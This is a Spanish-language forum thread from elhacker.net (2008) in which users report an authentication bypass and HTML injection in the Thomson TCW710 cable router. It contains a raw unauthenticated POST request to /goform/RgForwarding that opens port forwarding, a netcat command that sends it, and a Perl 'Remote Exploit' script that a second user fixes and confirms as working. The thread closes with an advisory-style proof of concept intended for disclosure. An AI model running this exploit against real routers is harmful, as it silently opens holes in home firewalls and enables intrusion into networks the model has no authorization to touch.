elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 05:21  


Tema destacado: [AIO elhacker.NET] Compilación herramientas análisis y desinfección malware

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  [°] Bugs en TCW710
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: [°] Bugs en TCW710  (Leído 8,072 veces)
Stacker

Desconectado Desconectado

Mensajes: 87



Ver Perfil
[°] Bugs en TCW710
« en: 21 Agosto 2008, 12:22 »

Hola tengo el router TCW710 wireless que me instaló ONO hará cosa de un año. Creo haber encontrado dos bugs en mi router pero me gustaria que alguien con el mismo hardware lo comprobara:

1) Primero quiero empezar con el menos "importante", el TCW710 admite HTML injection y necesita tener javascript habilitado para funcionar por lo que se pueden incluir scripts. Un buen sitio para probar es en el apartado control parental donde se pueden añadir keywords que bloqueará el router en la navegación. El campo tiene un máximo de caracteres a introducir pero nada nos impide copiar la página (parte HTML) y modificar el número de caracteres y también el campo action del form a cuyo valor hay que anteponer "http://[IP router]" de esta forma se ejecuta la parte HTML modificada y se envía al ASP del router.

2) El segundo tiene que ver con la "autenticación", ésta en principio es básica (base-64). Haciendo unas pruebas con netcat (nc 192.168.0.1 80 < data.txt) envié el siguiente contenido al router:
Código:
Contenido de data.txt:

POST /goform/RgForwarding HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla
Keep-Alive: 300
Connection: keep-alive
Authorization: Basic OmFkbWlu
Content-Type: application/x-www-form-urlencoded
Content-Length: 1159

PortForwardAddressLocal1IP3=0&PortForwardPortGlobalStart1=0&PortForwardPortGlobalEnd1=0&PortForwardProtocol1=254&
PortForwardAddressLocal2IP3=0&PortForwardPortGlobalStart2=0&PortForwardPortGlobalEnd2=0&PortForwardProtocol2=254&
PortForwardAddressLocal3IP3=0&PortForwardPortGlobalStart3=0&PortForwardPortGlobalEnd3=0&PortForwardProtocol3=254&
PortForwardAddressLocal4IP3=0&PortForwardPortGlobalStart4=0&PortForwardPortGlobalEnd4=0&PortForwardProtocol4=254&
PortForwardAddressLocal5IP3=0&PortForwardPortGlobalStart5=0&PortForwardPortGlobalEnd5=0&PortForwardProtocol5=254&
PortForwardAddressLocal6IP3=0&PortForwardPortGlobalStart6=0&PortForwardPortGlobalEnd6=0&PortForwardProtocol6=254&
PortForwardAddressLocal7IP3=0&PortForwardPortGlobalStart7=0&PortForwardPortGlobalEnd7=0&PortForwardProtocol7=254&
PortForwardAddressLocal8IP3=0&PortForwardPortGlobalStart8=0&PortForwardPortGlobalEnd8=0&PortForwardProtocol8=254&
PortForwardAddressLocal9IP3=0&PortForwardPortGlobalStart9=0&PortForwardPortGlobalEnd9=0&PortForwardProtocol9=254&
PortForwardAddressLocal10IP3=10&PortForwardPortGlobalStart10=80&PortForwardPortGlobalEnd10=80&PortForwardProtocol10=4&PortForwardEnable10=0x01

Lo que hace es autenticarse con la contraseña por defecto (user:"" y pass:"admin") y permitir forwarding en el puerto 80 de la ip local 192.168.0.10 (en el campo nº10).
Hasta ahí todo bien... pero después de cambiar la contraseña sin acordarme de modificar el valor OmFkbWlu ¡el comando seguia funcionando! y es más intrigado eliminé la linea de autenticación y ¡funcionó! :o   Por si acaso reinicié mi equipo y el router y cuando lo probé volvió a funcionar.
¿Así que el router no autentica cuando se hace una petición POST?  >:D

Estas dos vulnerabilidades obviamente son locales pero un programa (incluso un batch) con malas intenciones puede hacer un agujero en el firewall apuntando a un equipo y con una utilidad como como rinetd redireccionar a la configuración del router, ofreciendo la configuración a través de la ip pública, que por cierto se puede extraer de una de las páginas de configuración... Si alguien sabe hacer esto directamente se ahorra trabajo pero al menos en mi router no funciona el marcar la casilla "Remote Config".

Espero que saltar el firewall de mi router no sea tan facil... :-(, espero vuestras respuestas sobre todo si alguien lo puede comprobar con un router igual.

Saludos

Nota: La parte de datos del paquete va en una línea y recuerda actualizar "Content-Length" si modificas algo de esa parte.

« Última modificación: 25 Septiembre 2008, 15:00 por sirdarckcat » En línea

Eazy

Desconectado Desconectado

Mensajes: 229


Eazy [FM-Team]


Ver Perfil WWW
Re: BugS en TCW710?
« Respuesta #1 en: 21 Agosto 2008, 14:28 »

Yo no uso router, pero la 2º me parece que anda che :)
En línea

[/url]
berz3k
Moderador
***
Desconectado Desconectado

Mensajes: 1.140



Ver Perfil
Re: BugS en TCW710?
« Respuesta #2 en: 22 Agosto 2008, 01:26 »

Vaya, no tengo la oportunidad de probarlo en mi LAB, espero me presten alguno para hacer algunas pruebas, si todo marcha como dices, me adelanto a crear un pequeño exploit remoto, version beta, habra que comprobar algunas otra cosas y sacarle el mayor provecho:

Código:
#!/usr/bin/perl -w
#
# Router WiFi Thomson TCW710
# Remote Exploit bypass Authentication via "POST"
#
# By berz3k [berz3k at gmail.com]


use strict;
use LWP;
use Data::Dumper;
require HTTP::Request;
require HTTP::Headers;

my $method = 'POST'; # Method "GET" or "POST"
my $uri = '192.168.0.1'; # Factory default IP address
my $content = "/goform/RgForwarding?"; # Variable to send


my $headers = HTTP::Headers->new(

 'Host:'                => '192.168.0.1',
 'User-Agent:'          => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Paros/3.2.13',
 'Accept:'              => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',
 'Accept-Language:'     => 'en-us,en;q=0.5',
 'Accept-Charset:'    => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',     
 'Keep-Alive:'          => '300',
 'Connection:'          => 'keep-alive',
 'Referer:'        => 'http://192.168.0.1',
 'Authorization:' => 'Basic OmFkbWlu', # base64 encode
 'Content-Length:' => '1159',

);

my $request = HTTP::Request->new($method, $uri, $headers, $content);

my $ua = LWP::UserAgent->new;
my $response = $ua->request($request);

print "[+] Remote Exploit for TCW710 Beta\n";
print "[+] Coded by: berz3k [berz3k\@gmail.com]\n";
print "[+] We got this response from router: \n\n" . $response->content . "\n";

my $data;
foreach my $pair (split('&', $response->content)) {
  my ($k, $v) = split('=', $pair);
  $data->{$k} = $v;
}

if ($data->{RESULT} != 0) {

print "[+] Remote Exploit for TCW710 Beta\n";
print "[+] Coded by: berz3k [berz3k\@gmail.com]\n";
print "[+] Use:\n";
print "\tperl -x exploit_TCW710.pl\n";
  print $data->{RESPMSG} . "\n";
exit(0);

} else {

  print "[+] Remote Exploit for TCW710 Beta\n";
print "[+] By berz3k [berz3k\@gmail.com]\n";

}


En línea
GroK


Desconectado Desconectado

Mensajes: 680


...I have become comfortably numb...


Ver Perfil
Re: BugS en TCW710?
« Respuesta #3 en: 22 Agosto 2008, 06:12 »

Hey, yo tengo ese router. Bueno, no es el que uso ahora mismo porque me lo cambiaron hara cosa de una semana los de ONO por un Scientific Atlanta, porque tenia problemas en la conexion y alegaban que el router estaba mal... Pero yo estoy seguro de que funciona bien. Cuando pueda compruebo esos bugs (y el exploit of course) y os comento ok?

Saludos
En línea

"I put on my Hendrix album and my son said 'Dad, who's that?' and i said 'Well son, that's God' "- Robert Plant

Stacker

Desconectado Desconectado

Mensajes: 87



Ver Perfil
Re: BugS en TCW710?
« Respuesta #4 en: 22 Agosto 2008, 21:16 »

berz3K gracias por el exploit esto me recuerda que tengo que meterme con perl... :), así creo deberia funcionar pero tampoco haria falta la linea Authorization.

Espero vuestra confirmación.

Saludos

En línea

berz3k
Moderador
***
Desconectado Desconectado

Mensajes: 1.140



Ver Perfil
Re: BugS en TCW710?
« Respuesta #5 en: 24 Agosto 2008, 23:07 »

@Stacker

La linea de "Authorization:" esta conteplada en el codigo anteriormente posteado, dentro de la variable $headers.

Código:
'Authorization:' => 'Basic OmFkbWlu', # base64 encode
En línea
Stacker

Desconectado Desconectado

Mensajes: 87



Ver Perfil
Re: BugS en TCW710?
« Respuesta #6 en: 24 Agosto 2008, 23:42 »

@berz3k

Quise decir que así como está (incluida) funciona bien ya que aunque esa no sea la clave funciona,  pero por esa misma razón puede no incluirse esa línea ya que no se efectua la comprobación (lo he probado).

En línea

berz3k
Moderador
***
Desconectado Desconectado

Mensajes: 1.140



Ver Perfil
Re: BugS en TCW710?
« Respuesta #7 en: 25 Agosto 2008, 10:43 »


@Stacker

Ha vaya lei mal XDD, intenta comentar esa linea y ejecuta el exploit platicanos que pasa en el router y con el propio exploit, seguramente tendremos que hacer algunas modificaciones para mejorarlo.

Si no tienes perl para probar, bajatelo para win32 link:
:http://downloads.activestate.com/ActivePerl/Windows/5.10/ActivePerl-5.10.0.1003-MSWin32-x86-285500.msi

Linux, esta por default.

Ejecutar win32 o Linux:

Código:
perl -x exploit_TCW710.pl


Ya nos platicaras.

-berz3k.



En línea
Stacker

Desconectado Desconectado

Mensajes: 87



Ver Perfil
Re: BugS en TCW710?
« Respuesta #8 en: 25 Agosto 2008, 14:30 »

Bueno, el exploit funciona a falta de unos retoques. Antes de nada quiero decir que no sabia nada de perl y lo entendia más o menos por su similitud con otros lenguajes, por tanto los retoques los hice ayudandome de google ;), no obstante es perfectamente funcional aunque hay que mejorarlo.



Mis modificaciones:

1) Usando un sniffer me percate de que no hacian falta los dos puntos en cada campo de la cabecera porque se duplicaban (ya digo que no conozco perl).

2) La petición de la forma que la encontré en google no necesita de las variables $method y $uri.

Código:
my $request =new HTTP::Request(POST=>"http://192.168.0.1/goform/RgForwarding", $headers, $content);

$content queda así:
Código:
my $content = "PortForwardAddressLocal1IP3=0&PortForwardPortGlobalStart1=0&PortForward..."; #Variable to send

3) Para que sea más fácil incluir las peticiones (ya hay que moficar el valor de $content) puse en  Content-Length el valor length($content).

4) De esta forma ya es funcional (está probado), pero devolvía un error:

Use of uninitialized value in numeric ne (!=) at exploit_TCW710.pl line 50.

No he podido averiguar el por qué de este error, pero dado que no influye en el resultado final (ya se ha enviado la petición) he comentado la condicional a la espera de que encontreis solución.



Resultado:
Código:
#!/usr/bin/perl -w
#
# Router WiFi Thomson TCW710
# Remote Exploit bypass Authentication via "POST"
#
# By berz3k [berz3k at gmail.com]


use strict;
use LWP;
use Data::Dumper;
require HTTP::Request;
require HTTP::Headers;

my $content = "PortForwardAddressLocal1IP3=0&PortForwardPortGlobalStart1=0&PortForwardPortGlobalEnd1=0&PortForwardProtocol1=254&PortForwardAddressLocal2IP3=0&PortForwardPortGlobalStart2=0&PortForwardPortGlobalEnd2=0&PortForwardProtocol2=254&PortForwardAddressLocal3IP3=0&PortForwardPortGlobalStart3=0&PortForwardPortGlobalEnd3=0&PortForwardProtocol3=254&PortForwardAddressLocal4IP3=0&PortForwardPortGlobalStart4=0&PortForwardPortGlobalEnd4=0&PortForwardProtocol4=254&PortForwardAddressLocal5IP3=0&PortForwardPortGlobalStart5=0&PortForwardPortGlobalEnd5=0&PortForwardProtocol5=254&PortForwardAddressLocal6IP3=0&PortForwardPortGlobalStart6=0&PortForwardPortGlobalEnd6=0&PortForwardProtocol6=254&PortForwardAddressLocal7IP3=0&PortForwardPortGlobalStart7=0&PortForwardPortGlobalEnd7=0&PortForwardProtocol7=254&PortForwardAddressLocal8IP3=0&PortForwardPortGlobalStart8=0&PortForwardPortGlobalEnd8=0&PortForwardProtocol8=254&PortForwardAddressLocal9IP3=0&PortForwardPortGlobalStart9=0&PortForwardPortGlobalEnd9=0&PortForwardProtocol9=254&PortForwardAddressLocal10IP3=10&PortForwardPortGlobalStart10=80&PortForwardPortGlobalEnd10=80&PortForwardProtocol10=4&PortForwardEnable10=0x01"; # Variable to send


my $headers = HTTP::Headers->new(

 'Host' => '192.168.0.1',
 'User-Agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Paros/3.2.13',
 'Accept' => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',
 'Accept-Language' => 'en-us,en;q=0.5',
 'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',     
 'Keep-Alive' => '300',
 'Connection' => 'keep-alive',
 'Referer'        => 'http://192.168.0.1',
 'Content-Type' => 'application/x-www-form-urlencoded',
 'Content-Length' => length($content)

);

my $request =new HTTP::Request(POST=>"http://192.168.0.1/goform/RgForwarding", $headers, $content);

my $ua = LWP::UserAgent->new;
my $response = $ua->request($request);

print "[+] Remote Exploit for TCW710 Beta\n";
print "[+] Coded by: berz3k [berz3k\@gmail.com]\n";
print "[+] We got this response from router: \n\n" . $response->content . "\n";

my $data;
foreach my $pair (split('&', $response->content)) {
  my ($k, $v) = split('=', $pair);
  $data->{$k} = $v;
}

#if ($data->{RESULT} != 0) {

# print "[+] Remote Exploit for TCW710 Beta\n";
# print "[+] Coded by: berz3k [berz3k\@gmail.com]\n";
# print "[+] Use:\n";
# print "\tperl -x exploit_TCW710.pl\n";
# print $data->{RESPMSG} . "\n";
# exit(0);

#} else {

# print "[+] Remote Exploit for TCW710 Beta\n";
# print "[+] By berz3k [berz3k\@gmail.com]\n";

#}



Resumiendo el exploit es funcional, pero seria buena idea mejorarlo. Por ejemplo que el contenido de las peticiones que es un poco largo se pueda leer de un archivo externo, o incluso generarse con ayuda de parametros. (la primera más sencilla)

Por otro lado... ¿a podido alguien comprobar el bug en otro equipo?

« Última modificación: 25 Agosto 2008, 14:37 por Stacker » En línea

berz3k
Moderador
***
Desconectado Desconectado

Mensajes: 1.140



Ver Perfil
Re: BugS en TCW710?
« Respuesta #9 en: 28 Agosto 2008, 11:55 »


Yo no he tenino la oportidad de probar el c0de sobre el equipo, el c0de lo hice a "ciegas", pero estoy seguro es bastante funcional, yo espero me presten uno pronto para probar.

-berz3k.

En línea
Stacker

Desconectado Desconectado

Mensajes: 87



Ver Perfil
Re: BugS en TCW710?
« Respuesta #10 en: 17 Septiembre 2008, 20:13 »

Bueno, nuevas noticias, dando una vuelta por SecurityFocus.com, me di cuenta de que el cable modem TCW710 no aparecia en la lista de productos de Thomson vulnerables, pero si el TCW690 http://www.securityfocus.com/bid/12595/discuss.

Como se puede ver en el enlace si que está reportada la vulnerabilidad (para el TCW690), con las mismas condiciones:
-Explotable localmente
-No se requiere contraseña alguna para peticiones POST

Por tanto el exploit de SecurityFocus seria también totalmente funcional para el TCW710.

Parece mentira que una vulnerabilidad reportada en un modelo se repita en uno superior o que no se haya solucionado, ya que afecta a varios modelos.

Saludos
En línea

berz3k
Moderador
***
Desconectado Desconectado

Mensajes: 1.140



Ver Perfil
Re: BugS en TCW710?
« Respuesta #11 en: 18 Septiembre 2008, 02:05 »

Hay que reportar de nuevo :D o hay que verificar el firmware que se esta usando en este reciente modelo.

-berz3k.
En línea
Stacker

Desconectado Desconectado

Mensajes: 87



Ver Perfil
Re: BugS en TCW710?
« Respuesta #12 en: 18 Septiembre 2008, 17:16 »

El firmware del TCW690 en el que se reportó es el ST42.03.0a y el de mi TCW710 el ST5D.06.03. ¿Entonces debo informar de que éste también está afectado?

Por cierto he comprobado que la otra vulnerabilidad reportada para el TCW690 junto con ésta (la de DoS), parece que sí está solucionada.
En línea

berz3k
Moderador
***
Desconectado Desconectado

Mensajes: 1.140



Ver Perfil
Re: BugS en TCW710?
« Respuesta #13 en: 19 Septiembre 2008, 08:19 »

No esta demas reportarlo al vendor, pero si es muy similar a bugs pasados yo creo un post en secfocus seria suficiente o mantenerlo para foro elhacker.net, solamente bien documentado con algunas screenshots, PoC, codes etc. asi cabria la posibilidad de agregarlo en la page pral o en los boletines de elhacker.net, de igual forma haciendo referencia a bugs pasados , mencionando firmware, modelo etc.

-berz3k.

En línea
Stacker

Desconectado Desconectado

Mensajes: 87



Ver Perfil
Re: [°] Bugs en TCW710
« Respuesta #14 en: 5 Octubre 2008, 13:34 »

Hecho, aquí están los detalles y el PoC:

Mala Autenticación Thomson TCW710

Vendedor: Thomson

Producto: Wireless Cablemodem Gateway TCW710

Version Hardware: 5

Version Software: ST5D.06.03

Ámbito: Local, con consecuencias en la seguridad general.

Descripción:
El dispositivo solamente autentica las peticiones usando el método GET, cuando éstas se realizan con el método POST son aceptadas sin más.

Consecuencias:
Se puede aprovechar para cambiar la configuración del dispositivo por tanto se puede usar para facilitar instrusiones remotas.

Otros dispositivos vulnerables:
Ya había sido reportada para el cablemodem TCW690 con software ST42.03.0a, por tanto puede que haya más dispositivos vulnerables.
Para el TCW690 fue reportado en securityfocus.com con BID 12595, cuenta con exploit.

Otros bugs:
Algunas páginas de configuración del TCW710 son susceptibles a HTML injection.

PoC:
Video en el que se utiliza netcat para enviar una petición con la que se permite forwarding en un rango de puertos sin usar mecanismo de utenticación alguno.
http://www.youtube.com/watch?v=8JZ2Vuz3yWo

-Contenido de la petición usada (archivo data):
Código:
POST /goform/RgForwarding HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1159

PortForwardAddressLocal1IP3=0&PortForwardPortGlobalStart1=0&
PortForwardPortGlobalEnd1=0&PortForwardProtocol1=254&PortForwardAddressLocal2IP3=0&PortForwardPortGlobalStart2=0&
PortForwardPortGlobalEnd2=0&PortForwardProtocol2=254&PortForwardAddressLocal3IP3=0&PortForwardPortGlobalStart3=0&
PortForwardPortGlobalEnd3=0&PortForwardProtocol3=254&PortForwardAddressLocal4IP3=0&PortForwardPortGlobalStart4=0&
PortForwardPortGlobalEnd4=0&PortForwardProtocol4=254&PortForwardAddressLocal5IP3=0&PortForwardPortGlobalStart5=0&
PortForwardPortGlobalEnd5=0&PortForwardProtocol5=254&PortForwardAddressLocal6IP3=0&PortForwardPortGlobalStart6=0&
PortForwardPortGlobalEnd6=0&PortForwardProtocol6=254&PortForwardAddressLocal7IP3=0&PortForwardPortGlobalStart7=0&
PortForwardPortGlobalEnd7=0&PortForwardProtocol7=254&PortForwardAddressLocal8IP3=0&PortForwardPortGlobalStart8=0&
PortForwardPortGlobalEnd8=0&PortForwardProtocol8=254&PortForwardAddressLocal9IP3=0&PortForwardPortGlobalStart9=0&
PortForwardPortGlobalEnd9=0&PortForwardProtocol9=254&PortForwardAddressLocal10IP3=10&PortForwardPortGlobalStart10=80&
PortForwardPortGlobalEnd10=82&PortForwardProtocol10=4&PortForwardEnable10=0x01
(*)El bloque de datos de la petición va en una línea.

-Comando de envío (netcat):
Código:
nc 192.168.0.1 80 < data

-Respuesta para POST:
Código:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.0.1/RgForwarding.asp
Content-type: text/html
Connection: close

-Respuesta para GET:
Nula, puesto que la petición es autenticada.

Saludos
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
sustituir cisco 2100 por Thomson tcw710
Redes
Danyor 0 1,072 Último mensaje 9 Febrero 2011, 09:46
por Danyor
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines